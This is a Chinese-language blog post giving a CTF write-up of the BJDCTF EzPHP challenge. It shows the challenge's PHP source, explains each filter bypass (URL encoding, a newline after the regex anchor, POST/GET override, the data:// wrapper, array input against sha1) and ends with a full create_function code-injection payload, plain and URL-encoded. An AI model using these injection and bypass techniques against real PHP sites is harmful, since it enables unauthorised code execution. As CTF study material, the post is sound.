suyumen
目前主要在学习web相关

BJDCTF-EzPHP

2021-04-15 php伪协议 sha 正则 url编码
Word count: 1.1k | Reading time: 5min

查看页面源码,注释中发现
<!--Here is the real page =w= -->

<!--GFXEIM3YFZYGQ4A= -->

base32解密得到

1nD3x.php

进入1nD3x.php界面得到php代码:

1.

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

使用url编码绕过;

2.

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

file不能远程包含;
debu利用%0a换行绕过:debu='aqua_is_cute%0a'

3.

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

POST优先于GETPOST传入一个相同参数:POST:file=1,之后GET提交的file值可以覆盖POST中的值。

4.

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

利用data伪协议绕过:&file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=

5.

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

利用数组绕过sha1:shana[]=1&passwd[]=2
此处extract($_GET["flag"])将flag中每个元素创建变量。

6.

1
2
3
4
5
6
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);

两个变量可控,利用Create_function()代码注入,调用var_dump()函数输出所有变量输出flag.php

&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function


payload:?debu=aqua_is_cute &file=data://text/plain;base64,ZGVidV9kZWJ1X2FxdWE=&shana[]=1&passwd[]=2&flag[code]=create_function&flag[arg]=;}var_dump(get_defined_vars());//

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain;base64,%5a%47%56%69%64%56%39%6b%5a%57%4a%31%58%32%46%78%64%57%45%3d&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}var_dump(get_defined_vars());//

post:debu=1&file=1


笔记:

1.
preg_match正则匹配且只匹配一行;
i表示大小写不敏感;
b标记一个单词边界,只有独立的单词会被匹配;
m允许多行匹配;
只能处理字符串,传入数组时会返回false;
.匹配除换行符\n之外的任何单字符;
$会忽略在句尾的%0a

2.
$_GET[]会进行url解码,$_SERVER[‘QUERY_STRING’]不会,可用url编码绕过。

$_SERVER['QUERY_STRING'] 查询字符串,如果有的话,通过它进行页面访问。

$_SERVER['REQUEST_URI'] URI 用来指定要访问的页面。例如 “/index.html”。

3.

$_REQUEST接收GET和POST、COOKIE的数据,POST具有更高的优先值。

$_REQUEST的值与php.ini中的配置相关,当$_GET$_POST中的键相同时,$_POST的值将覆盖$_GET的值。

4.
file_get_contents() 把文件读入一个字符串;

php://input将接受的POS数据全部当做文件内容;

data:// 伪协议:

data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

5.

如果sha1()的参数为数组,将会返回false

sha1和md5绕过:传入开头都是0E的两个值(如1,2)或用数组。

6.

extract() 使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

7.

Create_function()根据传递的参数创建匿名函数,并为其返回唯一名称。

8.

get_defined_vars()获取所有变量;

var_dump()打印所有变量。


出现问题:

总是绕不过$_REQUEST这里,后来把该网址的cookie给关了,成功绕过。原本绕不过是因为cookie里面有字母,被正则匹配了。


参考

https://blog.csdn.net/weixin_44037296/article/details/111186863

https://my.oschina.net/u/4391831/blog/3312476

https://blog.csdn.net/SopRomeo/article/details/107675162

https://www.gem-love.com/ctf/770.html#createfunction()%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E4%BB%8B%E7%BB%8D

Author: suyumen

Link: https://suyumen.github.io/2021/04/15/2021-04-15-[BJDCTF]EzPHP/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
java任意文件下载
CATALOG
  1. 1. 笔记:
  2. 2. 出现问题:
    1. 2.1. 参考